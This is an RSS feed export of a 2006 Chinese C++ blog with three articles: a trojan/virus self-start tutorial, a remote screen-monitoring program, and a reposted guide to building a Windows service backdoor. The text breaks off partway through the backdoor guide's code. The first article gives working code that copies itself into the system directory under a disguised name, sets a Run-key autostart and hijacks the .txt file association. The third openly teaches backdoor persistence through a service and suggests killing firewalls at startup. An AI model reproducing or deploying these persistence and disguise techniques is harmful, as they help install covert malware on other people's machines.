﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-duke-文章分类-vc</title><link>http://www.cppblog.com/duke/category/848.html</link><description /><language>zh-cn</language><lastBuildDate>Tue, 10 Jun 2008 07:16:46 GMT</lastBuildDate><pubDate>Tue, 10 Jun 2008 07:16:46 GMT</pubDate><ttl>60</ttl><item><title>编程实现修改注册表完成程序自启动</title><link>http://www.cppblog.com/duke/articles/3361.html</link><dc:creator>暴雪狂沙</dc:creator><author>暴雪狂沙</author><pubDate>Tue, 21 Feb 2006 01:54:00 GMT</pubDate><guid>http://www.cppblog.com/duke/articles/3361.html</guid><wfw:comment>http://www.cppblog.com/duke/comments/3361.html</wfw:comment><comments>http://www.cppblog.com/duke/articles/3361.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/duke/comments/commentRss/3361.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/duke/services/trackbacks/3361.html</trackback:ping><description><![CDATA[<table class="zhi14" style="width: 620px; height: 38px;" align="center" border="0" cellpadding="0" cellspacing="0" height="38" width="620">
<tbody><tr><td height="20" width="648">无论是病毒还是木马程序的编制。都常常会碰到如何在系统启动时自动运行自己的程序的问
题，这里我将结合自己的经验来谈一谈程序的自动加载技术，顺便也说说程序的自拷贝，也就是将自身拷贝到系统目录下，通常在Windows系统中，程序自动
启动的方法有两种，一是利用Win.ini和System.ini等文件的数据段的方法，本文就不详细说了。二是使用修改注册表的方法，下面来详细介绍一
下。<br>　　<br>　　在Window2000计算机的系统注册表中，我们通过向子目录HKEY_LOCAL_MACHINE\Software\
Microsoft\Windows\CurrentVersion\Run中添加新的键值就可以让程序在系统启动的过程中自动启动，这里我们将要介绍的
是如何在程序中实现这种方法。<br>　　<br>　　无论对于病毒还是木马，仅仅有自动加载的功能是不够受的，如果启动起来进程一但被系统杀掉，还必须
通过某种方式重新启动程序。这里我要谈到的是程序的自动关联技术，可以将我们的程序与常用的的程序关联比如与文本文档关联，这样用户每次试图打开文本文件
的时候，就会将我们的程序打开，这种方法也是通过修改注册表的方法进行关联，可以修改注册表的HKEY_CALSSES_ROOT\txtfile\
shell\open\comand下的默认值来达到关联的目的。<br>　　<br>　　还有一点，也是经常采用的技术。我们的程序第一次运行的时候，
最好能将自身复制到Windows的系统目录中，这里我们用了CopyFile函数，复制的过程中为了使得我们的程序更具有隐蔽性，没有采用原来的名字，
而是改成了一个与某些系统文件貌似的文件名称，也就是木马常常使用的伪隐藏的方法。<br>　　<br>　　程序代码用VC++6.0写成，在编译时一定要将编译开关选择为多线程版本。否则会提示找不到_bgeinthreadex和_endthreadex.<br>　　<br>　　下面我们来探讨一下代码.<br>　　#include<tchar.h><br>　　#include<iostream.h><br>　　#include<afx.h><br>　　#ifdef MAX_PATH<br>　　#undef MAX_PATH<br>　　#define MAX_PATH　20<br>　　#endif<br>　　<br>　　int main()<br>　　{<br>　　TCHAR TempPath[MAX_PATH];<br>　　CString temp;<br>　　::GetSystemDirectory(TempPath,MAX_PATH);<br>　　temp = TempPath;<br>　　temp = temp+_T("\\Intranet.exe");<br>　　int len = temp.GetLength();<br>　　<br>　　//进行相应的类型转换，使之能够受的与RegSetValueEx()函数的参数类型相符合<br>　　LPBYTE lpb = new BYTE[len];<br>　　for(int j=0;j<len ;j=""><br>　　{<br>　　lpb[j]=TempPath[j];<br>　　}<br>　　lpb[j]=0;<br>　　//判断文件的拷贝成功与否，成功返回非0<br>　　if(!CopyFile("KillYou.exe",temp,FALSE))<br>　　{<br>　　LPVOID lpMsgBuf;<br>　　//对出错消息进行格式化，FormatMessage()的参数5，在向lpMsgBuf赋值时默认使用了LocalAlloc函数<br>　　FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM|<br>　　FORMAT_MESSAGE_IGNORE_INSERTS,NULL,GetLastError(),MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),<br>　　(LPTSTR)&amp;lpMsgBuf,<br>　　0,<br>　　NULL);<br>　　MessageBox(NULL,(LPCTSTR)lpMsgBuf,"Error",MB_OK);<br>　　//必须用LocalFree()释放<br>　　LocalFree(lpMsgBuf);<br>　　<br>　　}<br>　　HKEY hKey;<br>　　LPCTSTR data_Set = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";<br>　　//设定自动运行模块,这里先要将注册码表打开，返回子目录句柄，然后用这个句柄，<br>　　::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&amp;hKey);<br>　　::RegSetValueEx(hKey,_T("remotecontrol"),NULL,REG_SZ,lpb,len);<br>　　::RegCloseKey(hKey);<br>　　//设定文件关联，<br>　　data_Set = "txtfile\\shell\\open\\command";<br>　　::RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set,0,KEY_WRITE,&amp;hKey);<br>　　::RegSetValueEx(hKey,NULL,NULL,REG_EXPAND_SZ,lpb,len);<br>　　::RegCloseKey(hKey);<br>　　MessageBox(NULL,"Thank You for using this Program!","Hello",MB_OK);<br>　　delete []lpb;<br>　　return 0;<br>　　}</len></afx.h></iostream.h></tchar.h></td>
                </tr>
                <tr>
                  <td style="" height="18" valign="top" width="648"><br>
</td></tr></tbody>
</table>
<img src ="http://www.cppblog.com/duke/aggbug/3361.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/duke/" target="_blank">暴雪狂沙</a> 2006-02-21 09:54 <a href="http://www.cppblog.com/duke/articles/3361.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VC++实现对远程计算机屏幕的监视</title><link>http://www.cppblog.com/duke/articles/3360.html</link><dc:creator>暴雪狂沙</dc:creator><author>暴雪狂沙</author><pubDate>Tue, 21 Feb 2006 01:47:00 GMT</pubDate><guid>http://www.cppblog.com/duke/articles/3360.html</guid><wfw:comment>http://www.cppblog.com/duke/comments/3360.html</wfw:comment><comments>http://www.cppblog.com/duke/articles/3360.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/duke/comments/commentRss/3360.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/duke/services/trackbacks/3360.html</trackback:ping><description><![CDATA[<b>摘要</b>：本文介绍了一种通过<a class="bluekey" href="http://www.yesky.com/key/2585/57585.html" target="_blank" _base_target="_blank"><font color="#002c99">套接字</font></a>网络编程和<a class="bluekey" href="http://www.yesky.com/key/2570/67570.html" target="_blank" _base_target="_blank"><font color="#002c99">屏幕捕获</font></a>技术实现的对远程计算机屏幕进行监视的方法。<br>
<br>
　　<b>关键词</b>：套接字；屏幕<a class="bluekey" href="http://www.yesky.com/key/1320/91320.html" target="_blank" _base_target="_blank"><font color="#002c99">捕捉</font></a>；远程监视；网络 <br>
<br>
　　<b>前言</b><br>
<br>
　
　在实际工程中，经常有施工现场和控制中心不在一起的情况，在这种情况一般多由工程技术人员往返穿梭其间来实现对远程施工现场的情况了解和对控制中心的矫
正控制。显然这种工作方式的效率是很低下的，没有充分发挥计算机网络的强大优势，其实通过网络编程完全可以使技术人员在控制中心对位于工程现场的远程计算
机实施监视和控制。虽然互联网上有不少远程终端控制软件如"超级<a class="bluekey" href="http://www.yesky.com/key/3496/78496.html" target="_blank" _base_target="_blank"><font color="#002c99">间谍</font></a>"、"冰河"等，但由于其带有<a class="bluekey" href="http://www.yesky.com/key/1428/81428.html" target="_blank" _base_target="_blank"><font color="#002c99">黑软</font></a>的性质，不能保证其在编程时没有留有其他后门，因此从<a class="bluekey" href="http://www.yesky.com/key/4246/79246.html" target="_blank" _base_target="_blank"><font color="#002c99">计算机安全</font></a>的角度出发应当自行开发此类软件。为避免本文所述技术被用于制造黑客类软件，本文将不准备对远程终端的控制部分做进一步的介绍，而将重点放在对远程计算机屏幕界面的监视上。 1 数据信息在网络上的传送<br>
<br>
　　由于本地计算机是通过网络来对远程计算机实施监控，因此需要对网卡进行编程以实现往来于双方的数据信息在网络上的顺畅通讯。可供选择的方案有套接字、邮槽、<a class="bluekey" href="http://www.yesky.com/key/1045/71045.html" target="_blank" _base_target="_blank"><font color="#002c99">命名管道</font></a>等多种，本文在此选用开发和应用都比较灵活的流式套接字作为网络通讯的基础。考虑到实际情况，远程被监视主机随时为本地监控主机提供屏幕信息的服务，因此整个系统可以划分为两大模块--<a class="bluekey" href="http://www.yesky.com/key/4377/84377.html" target="_blank" _base_target="_blank"><font color="#002c99">服务器端</font></a>和<a class="bluekey" href="http://www.yesky.com/key/512/75512.html" target="_blank" _base_target="_blank"><font color="#002c99">客户机</font></a>端，分别运行于远程主机和本地监控主机，由客户机向服务器发出连接请求，在建立连接后由服务器定时发送远程屏幕信息给客户机，客户机接收到服务器发来的数据后将其显示在本地主机。<br>
<br>
　　至于用流式套接字对网络进行编程的主要过程可用下图来表示。服务器方在使用套接字之前，首先必须拥有一个Socket，可用socket()函数<a class="bluekey" href="http://www.yesky.com/key/4593/89593.html" target="_blank" _base_target="_blank"><font color="#002c99">创建</font></a>之：<br>
<br>
<table _base_target="_blank" align="center" bgcolor="#dadacf" border="1" bordercolor="#ffcc66" width="90%">
<tbody _base_target="_blank"><tr _base_target="_blank"><td _base_target="_blank">sock=socket(AF_INET,SOCK_<a class="bluekey" href="http://www.yesky.com/key/4357/34357.html" target="_blank" _base_target="_blank"><font color="#002c99">STREAM</font></a>,0);</td></tr></tbody>
</table>
<br>
<table _base_target="_blank" align="center" border="0" width="90%">
<tbody _base_target="_blank"><tr _base_target="_blank"><td _base_target="_blank"><div align="center"><img src="http://dev.yesky.com/imagelist/05/06/d3g5x3lx7u6i.jpg" alt="" _base_target="_blank" border="0"></div></td></tr></tbody>
</table>
<br>
　
　其中AF_INET
和SOCK_STREAM指定了创建的是采用了TCP/IP地址族的流式套接字。该套接字实际上是提供了一个通信端口，通过这个端口可与任何一个具有套接
字端口的计算机实施通信。一旦获取了新的套接字，应立即通过bind()将该套接字与本机上的一个端口建立关联。需要预先对一个指向包含有本机IP地址和
端口信息的sockaddr_in结构填充一些必要的信息，如本地端口号和本地主机地址等，并通过bind()将服务器进程在网络<a class="bluekey" href="http://www.yesky.com/key/2790/62790.html" target="_blank" _base_target="_blank"><font color="#002c99">上标</font></a>识出来：<br>
<br>
<table _base_target="_blank" align="center" bgcolor="#dadacf" border="1" bordercolor="#ffcc66" width="90%">
<tbody _base_target="_blank"><tr _base_target="_blank"><td _base_target="_blank">sockin_s.<a class="bluekey" href="http://www.yesky.com/key/4690/34690.html" target="_blank" _base_target="_blank"><font color="#002c99">sin</font></a>_family=AF_INET;<br>sockin_s.sin_addr.s_addr=0;<br>sockin_s.sin_port=htons(PORT);<br>bind(sock,(LPSOCKADDR)&amp;sockin_s,sizeof(sockin_s));</td></tr></tbody>
</table>
<br>
　　在完成接下来的listen()侦听后，需要用accept()等待接收客户端的连接，由于该函数在没有客户端进行申请连接之前会处于阻塞状态，因此需要为其单独开辟一个线程，以免影响到程序整体： <br>
<br>
<table _base_target="_blank" align="center" bgcolor="#dadacf" border="1" bordercolor="#ffcc66" width="90%">
<tbody _base_target="_blank"><tr _base_target="_blank"><td _base_target="_blank">AfxBeginThread(Server,NULL);//创建一个新的线程<br>……<br>UINT Server(LPVOID lpVoid)<br>{<br>　CSurveillant_ServerView* pView=((CSurveillant_ServerView*)((CFrameWnd*)<br>　AfxGetApp()-&gt;m_pMainWnd)-&gt;GetActiveView());<br>　int nLen=sizeof(SOCKADDR);<br>　pView-&gt;newskt_s= accept(pView-&gt;sock,(LPSOCKADDR)&amp; pView-&gt;sockin_s,(LPINT)&amp; nLen);<br>　WSAAsyncSelect(pView-&gt;newskt_s,pView-&gt;m_hWnd,WM_MSG,FD_CLOSE);<br>　pView-&gt;<a class="bluekey" href="http://www.yesky.com/key/4736/34736.html" target="_blank" _base_target="_blank"><font color="#002c99">SetTimer</font></a>(0,2500,NULL);<br>　return 1; <br>}</td></tr></tbody>
</table>
<br>
　　在这里通过WSAAsyncSelect()异步选择函数来以异步的形式响应关心的网络事件FD_CLOSE，并在该事件发生时发出自<a class="bluekey" href="http://www.yesky.com/key/1586/86586.html" target="_blank" _base_target="_blank"><font color="#002c99">定义</font></a>WM_MSG
消息，通过响应这个消息可以得之当前与服务器联系的客户机程序已关闭退出，由于服务器部分是运行于远程工程现场的，为了使控制中心的监控程序（客户）在下
次发出监控请求时能为其提供服务需要在WM_MSG的消息响应函数里关闭由accept() 所产生的新的套接字newskt_s，并<a class="bluekey" href="http://www.yesky.com/key/3276/43276.html" target="_blank" _base_target="_blank"><font color="#002c99">重新启动</font></a>该线程等待监控程序的再次连接。在accept()函数成功返回后，就可以在<a class="bluekey" href="http://www.yesky.com/key/1593/86593.html" target="_blank" _base_target="_blank"><font color="#002c99">定时器</font></a>响应函数里用send() 函数与之建立了连接的监控主机定时发送捕获的远程屏幕信息了。<br>
<br>
　　作为客户的监控程序，其实现过程要比服务器<a class="bluekey" href="http://www.yesky.com/key/3451/78451.html" target="_blank" _base_target="_blank"><font color="#002c99">简单</font></a>许多。由于需要接收数据，因此在异步选择函数中需要设定待监测的网络事件为FD_CLOSE和FD_READ。在消息响应函数中可以通过对消息<a class="bluekey" href="http://www.yesky.com/key/2011/32011.html" target="_blank" _base_target="_blank"><font color="#002c99">参数</font></a>的低位字节进行判断而区分出具体发生是何种网络事件，并对其做出响应的反应。下面是监控端程序网络部分的主要代码：<br>
<br>
<table _base_target="_blank" align="center" bgcolor="#dadacf" border="1" bordercolor="#ffcc66" width="90%">
<tbody _base_target="_blank"><tr _base_target="_blank"><td _base_target="_blank">……<br>IPaddr=inet_addr(strIP);<br>sock=socket(AF_INET,SOCK_STREAM,0); //创建套接字<br>sockin_c.sin_family=AF_INET;<br>sockin_c.sin_addr.S_un.S_addr=IPaddr;<br>sockin_c.sin_port=m_Port;<br>connect(sock,(LPSOCKADDR)&amp;sockin_c,sizeof(sockin_c));//连接服务器<br>……<br>WSAAsyncSelect(sock,m_hWnd,WM_MSG,FD_READ|FD_CLOSE);<br>……</td></tr></tbody>
</table>
<p><br>　　通过异步选择函数的设定，在有数据到达时会由FD_READ触发WM_MSG消息，并在处理函数中通过<a class="bluekey" href="http://www.yesky.com/key/1698/86698.html" target="_blank" _base_target="_blank"><font color="#002c99">调用</font></a>recv ()将远程主机的屏幕信息从网络接收到缓存，并完成在本地机的重显。通过以上几步，已经初步具备了在远程服务器和本地客户机之间的网络通讯能力，可以完成屏幕信息的网络传送任务。</p>
<p><br>　　<b>对远程计算机屏幕的捕捉和显示</b><br><br>　
　前面部分的工作只是为整个监控系统提供一个低层的网络数据通讯的能力，也可以说是为现场主机和监控中心提供一个通信用信道。至于本文的中心议题--远程
监视工作则需要分别在现场主机和监控中心中完成对屏幕的捕捉和信息的再现。屏幕的捕捉可以采取先获取桌面窗口指针并建立一个与之兼容的设备环境，然后创建
一个与桌面窗口指针相兼容的内存位图并以位图的形式将屏幕图像拷贝到新创建的位图之中：<br><br></p>
<table _base_target="_blank" align="center" bgcolor="#dadacf" border="1" bordercolor="#ffcc66" width="90%">
<tbody _base_target="_blank"><tr _base_target="_blank"><td _base_target="_blank">char dot[1572864]; //1024*768*2<br>CBitmap bmp; //内存位图<br>CDC wdc; //设备环境<br>CDC* pDC; //指向桌面窗口的设备环境指针<br>……<br>static CWindowDC ddc(GetDesktopWindow()); //引用桌面窗口指针定义对象ddc <br>pDC=&amp;ddc; //将指针pdc指向ddc <br>wdc.CreateCompatibleDC(pDC); //建立与ddc兼容的设备环境<br>bmp.CreateCompatibleBitmap(pDC,1024,768); //建立与ddc兼容的位图 <br>wdc.SelectObject(&amp;bmp); //选择bmp<br>……<br>wdc.BitBlt(0,0,1024,768,pDC,0,0,SRCCOPY); //把桌面图像复制到wdc的bmp中</td></tr></tbody>
</table>
<br>
　
　这时虽以获取到了屏幕的信息，并将其复制到内存位图之中，但此时还不能直接将其发送出去，需要调用CBitmap
类的成员函数GetBitmapBits（）来将图像信息从内存位图拷贝到缓存，并通过套接字的send()函数将缓存中存放的屏幕信息通过网络从现场主
机发送到控制中心。 <br>
<br>
　　现场主机的屏幕信息在控制中心的再现，基本上是屏幕截取的逆过程：先建立一个同客户区相关的设备环境并建立一
个与之兼容的设备环境，然后按位图格式在内存中创建一个与之兼容的内存位图。在从网络接收完一屏信息后，通过CBitmap的成员函数
SetBitmapBits()把缓存中的屏幕信息按位图格式拷贝到内存位图，最后完成对内存位图的显示。其主要过程如下：<br>
<br>
<table _base_target="_blank" align="center" bgcolor="#dadacf" border="1" bordercolor="#ffcc66" width="90%">
<tbody _base_target="_blank"><tr _base_target="_blank"><td _base_target="_blank">CDC* pDC=GetDC(); //引用用户窗口指针定义对象pDC <br>wdc.CreateCompatibleDC(pDC); //建立与pDC兼容的device context <br>bmp.CreateCompatibleBitmap(pDC,1024,768); //建立与pDC兼容的位图 <br>wdc.SelectObject(&amp;bmp);<br>……<br>iReadLen = recv(sock,buffer,60000,0); //从网络接收数据<br>for(i=0;i&lt;iReadLen;i++)<br>{<br>　dot[pointer]=buffer[i];<br>　pointer++;<br>　if(pointer==1572864) //判断接收到的信息是否已满一屏<br>　{<br>　　GetClientRect(&amp;rect);<br>　　bmp.SetBitmapBits(1572864,(LPVOID)dot); //把内存数据复制到bmp中 <br>　　//把bmp中图像复制到用户窗口中 <br>　　pDC-&gt;StretchBlt(0,0,rect.Width(),rect.Height(),&amp;wdc,0,0,1024,768,SRCCOPY); <br>　　pointer=0; //接收完一屏后指针复位，准备接收下一屏<br>　}<br>}</td></tr></tbody>
</table>
<br>
　　<b>服务程序的自动加载及扩展</b><br>
<br>
　　从功能上看，服务端程序只负责为远程客户提供服务，在全部运行期间根本不需要人为的外来干预，因此可以隐藏其界面并将其作成后台服务程序：<br>
<br>
<table _base_target="_blank" align="center" bgcolor="#dadacf" border="1" bordercolor="#ffcc66" width="90%">
<tbody _base_target="_blank"><tr _base_target="_blank"><td _base_target="_blank">BOOL CMainFrame::PreCreateWindow(CREATESTRUCT&amp; cs)<br>{<br>　……<br>　cs.cx=200;<br>　cs.cy=10;<br>　cs.style=WS_POPUP;<br>　cs.dwExStyle|=WS_EX_TOOLWINDOW;<br>　return TRUE;<br>}</td></tr></tbody>
</table>
<br>
　
　另外，由于现在计算机多具有通过Modem实现远程唤醒的功能，因此如能使服务程序具备自启动功能将实现远程现场主机的无人值守。自启动有多种方式：在
Autoexec.bat、win.ini等文件中加入启动命令、在"启动"菜单里加入指向程序的快捷方式、修改注册表等。其中由于注册表通常被人为改动
的机会要小的多，因此通过修改注册表实现自启动是一种比较安全的方法。本文采取的方法是：先通过API函数CopyFile()将服务程序复制到系统目
录，然后对HKEY_LOCAL_MACHINE
的Software\Microsoft\Windows\CurrentVersion\Run写入一个字符串键值，该键值的内容是服务程序在系统目录
下的全路径：<br>
<br>
<table _base_target="_blank" align="center" bgcolor="#dadacf" border="1" bordercolor="#ffcc66" width="90%">
<tbody _base_target="_blank"><tr _base_target="_blank"><td _base_target="_blank">DWORD type=REG_SZ;<br>DWORD size=MAX_PATH;<br>LPCTSTR Rgspath="Software\\Microsoft\\Windows\\CurrentVersion\\Run" ;<br>……<br>GetSystemDirectory(SysPath,size); //获取系统目录 <br>GetModuleFileName(NULL,CurrentPath,size); //获取程序路径<br>FileCurrentName = CurrentPath;<br>FileNewName = lstrcat(SysPath,"\\Surveillant.exe");<br>ret = CopyFile(FileCurrentName,FileNewName,TRUE); //拷贝程序到系统目录<br>……<br>//打开注册表<br>ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE, &amp;hKEY);<br>……<br>//写入注册表<br>ret=RegSetValueEx(hKEY,"Surveillant",NULL,type, FileNewName,size);<br>……<br>//关闭注册表<br>RegCloseKey(hKEY);</td></tr></tbody>
</table>
<br>
　
　至于监控中心对现场主机的远程控制，则主要是通过向对方程序发送用以标识消息的数据并在远程主机接收完毕后用SendMessage()向指定窗口发送
消息来完成的，可用CreateProcess();来启动现场主机的程序以响应消息。由于该部分技术亦可用来编写黑客软件，故本文在此不便作进一步的描
述。<br>
<br>
　　<b>小结</b>：<br>
<br>
　　本文主要针对基于流式套接字的低层网络通讯模块和建立在该模块基础之上的屏幕截取和复
原技术的设计、实现作了较为详细的介绍。本文所述监控系统在实际应用中取得了较好的效果。使工程技术人员能在控制中心及时了解到位于工程现场的计算机屏幕
上的指示图表的动态显示，并根据监视结果作出及时的决策。本文所述程序在Windows 2000 Professional下，由Microsoft
Visual C++编译通过。<img src ="http://www.cppblog.com/duke/aggbug/3360.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/duke/" target="_blank">暴雪狂沙</a> 2006-02-21 09:47 <a href="http://www.cppblog.com/duke/articles/3360.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>转载:服务级后门自己做</title><link>http://www.cppblog.com/duke/articles/3359.html</link><dc:creator>暴雪狂沙</dc:creator><author>暴雪狂沙</author><pubDate>Tue, 21 Feb 2006 01:37:00 GMT</pubDate><guid>http://www.cppblog.com/duke/articles/3359.html</guid><wfw:comment>http://www.cppblog.com/duke/comments/3359.html</wfw:comment><comments>http://www.cppblog.com/duke/articles/3359.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/duke/comments/commentRss/3359.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/duke/services/trackbacks/3359.html</trackback:ping><description><![CDATA[<div class="tt_red" align="center"><b><h1>服务级后门自己做</h1></b></div>
<div class="content"><p align="center"><br><strong>服务级后门自己做<br></strong></p><p>　
　以往大多数的木马/后门都是通过修改系统ini文件（比如Win.ini，System.ini）或修改注册表的RUN值来实现自启动的，还有更简单的
是修改Autobat.exe（老大，地球不适合你，你还是回火星吧），但随着网络用户安全意识的提高，连我家旁边卖茶叶蛋的大妈都知道如何对付这些老方
法了。为了适应新时代木马后门技术的发展要求，一种利用Windows
NT/2000/XP系统服务的后门产生了，现在的WinShell，WinEggDrop等众人皆知的Telnte扩展后门都利用了这种方式。相信很多
小菜们对这种后门技术并不了解，所以，我在这里就充个大头，给大家传授教业解解惑吧（受害MM目光呆滞，一脸绝望：有了你们这帮人，天下什么时候才能“无
贼”啊？）。</p><p>　　<strong>前置原理<br></strong><br>　　Windows
NT/2000/XP提供的服务既可以指一种特定的Win32进程，也可以指内核模式的设备驱动程序。操作系统的一个称为“服务控制管理器SCM”的组件
被用来装载和控制这两种类型的服务。当然，我们说的服务，是指的前者，即我们可以利用的服务是一个在Windows
NT/2000/XP下执行的程序。当我们打开“控制面板管理工具服务”，就可以看到右边有一堆的服务，如图1所示。每一行指定了一个特定服务的属
性，包括名称、描述、状态、启动类型、登录方式等。<br>&nbsp;</p><p align="center"><br clear="all"><img title="服务级后门自己做" style="border: 1px solid black;" src="http://img.zol.com.cn/article/4/952/li1WFSIjoBcZs.jpg" alt="" _base_target="_blank"><br>图1</p><p>　
　“服务”本身是Windows
NT/2000/XP下客户／服务器软件的合理选择，因为它提供了像Unix下后台程序Daemons（守护进程）的等价物，而且使得创建能够代表权限低
的用户进行权限高的操作的程序成为可能。像我们熟知的RPC服务，病毒扫描程序以及备份程序都是很适合作为服务进程。<br>服务能被我们利用作为后门实现自启动，是因为它有三个很重要的特性：<br><br>1.&nbsp;服务可以被指定为自启动，在利用传统的注册表修改RUN键值，添加ini自启动项等方法的基础上又多了一种选择。<br>2.&nbsp;服务可以在任何用户登录前开始运行，我们可以在服务启动时加入杀防火墙的代码。<br>3.&nbsp;服务是运行在后台的，如果不注意，天知道什么时候被人家装了后门。</p><p>　
　服务大都是由服务控制程序在注册表中维护的一个信息数据库来管理的，每个服务在
HKEY_LOCAL_MACHINESystemCurrentControlSetServices中都可以找到相应的一个关键项。服务区别于一般
Windows NT/2000/XP程序的主要之处在于服务与服务控制管理程序的合作，在后面的编程中我们将会体会到这一点。</p><p>　　<strong>编程实现<br></strong><br>　　一个完整的服务分为安装服务程序，主体服务程序和卸载服务程序。我们先来写服务的主体部分，示例代码如下：<br><br><font color="#0000ff">void main()<br>{<br>&nbsp;SERVICE_TABLE_ENTRY ServiceTable[] = <br>&nbsp;{<br>&nbsp;&nbsp;{"scuhkr", BDServiceMain},<br>&nbsp;&nbsp;{NULL, NULL} //"哨兵"<br>&nbsp;};<br>&nbsp;//连接到服务控制管理器<br>&nbsp;StartServiceCtrlDispatcher(ServiceTable);<br>}</font></p><p>&nbsp;
路人甲：什么，就这么短？你想侮辱广大鸟儿的智慧？呵呵，先别急，听我慢慢道来：上面代码中，我们先给出了一个SERVICE_TABLE_ENTRY结
构数组，每个成员描述了调用进程提供的服务，这里我们只安装了一个服务名为Scuhkr的服务，后面的BDServiceMain()我们称之为服务主函
数，通过回调该函数提供了服务入口地址，它原形的参数必须定义成如下形式：<br><font color="#0000ff">VOID WINAPI BDServiceMain(<br>&nbsp; DWORD dwArgc, &nbsp;//lpszArgv参数个数<br>&nbsp; LPTSTR* lpszArgv&nbsp;//该数组第一个的参数指定了服务名，可以在后面被<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
StartService()来调用<br>);<br></font>SERVICE_TABLE_ENTRY
结构数组要求最后一个成员组都为NULL，我们称之为“哨兵”（所有值都为NULL），表示该服务表末尾。一个服务启动后，马上调用
StartServiceCtrlDispatcher()通知服务控制程序服务正在执行，并提供服务函数的地址。
StartServiceCtrlDispatcher()只需要一个至少有两SERVICE_TABLE_ENTRY结构的数组，它为每个服务启动一个
线程，一直等到它们结束才返回。<br>&nbsp;本程序只提供了一个服务函数BDServiceMain()，下面我们来下完成这个函数的功能，示例代码如下：</p><p><font color="#0000ff">void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)<br>{<br>&nbsp;DWORD dwThreadId;&nbsp; //存放线程ID<br>&nbsp;<br>//通过RegisterServiceCtrlHandler()与服务控制程序建立一个通信的协议。<br>//BDHandler()是我们的服务控制程序，它被可以被用来开始，暂停，恢复，停止服务等控制操作<br>&nbsp;if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
BDHandler))) <br>&nbsp;&nbsp;return;</font></p><p><font color="#0000ff">//表示该服务私有<br>&nbsp;ServiceStatus.dwServiceType&nbsp; = SERVICE_WIN32_OWN_PROCESS;<br>//初始化服务，正在开始<br>&nbsp;ServiceStatus.dwCurrentState&nbsp; = SERVICE_START_PENDING; //<br>//服务可以接受的请求，这里我们只接受停止服务请求和暂停恢复请求<br>&nbsp;ServiceStatus.dwControlsAccepted&nbsp; = SERVICE_ACCEPT_STOP<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
| SERVICE_ACCEPT_PAUSE_CONTINUE;<br>//下面几个一般我们不大关心，全为0<br>&nbsp;ServiceStatus.dwServiceSpecificExitCode = 0;<br>&nbsp;ServiceStatus.dwWin32ExitCode&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;ServiceStatus.dwCheckPoint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;ServiceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>//必须调用SetServiceStatus()来响应服务控制程序的每次请求通知<br>&nbsp;SetServiceStatus(ServiceStatusHandle, &amp;ServiceStatus);</font></p><p><font color="#0000ff">//开始运行服务<br>&nbsp;ServiceStatus.dwCurrentState = SERVICE_RUNNING;<br>&nbsp;ServiceStatus.dwCheckPoint&nbsp;&nbsp; = 0;<br>&nbsp;ServiceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp; = 0;</font></p><p><font color="#0000ff">&nbsp;SetServiceStatus(ServiceStatusHandle, &amp;ServiceStatus);<br>//我们用一个事件对象来控制服务的同步<br>&nbsp;if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))<br>&nbsp;&nbsp;return;</font></p><p><font color="#0000ff">&nbsp;ServiceStatus.dwCurrentState = SERVICE_START_PENDING;<br>&nbsp;ServiceStatus.dwCheckPoint&nbsp;&nbsp; = 0;<br>&nbsp;ServiceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp; = 0;</font></p><p><font color="#0000ff">&nbsp;SetServiceStatus(ServiceStatusHandle, &amp;ServiceStatus);<br>//开线程来启动我们的后门程序<br>&nbsp;if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, &amp;dwThreadId)))<br>&nbsp;</font></p><p><font color="#0000ff">&nbsp;ServiceStatus.dwCurrentState = SERVICE_RUNNING;<br>&nbsp;ServiceStatus.dwCheckPoint&nbsp;&nbsp; = 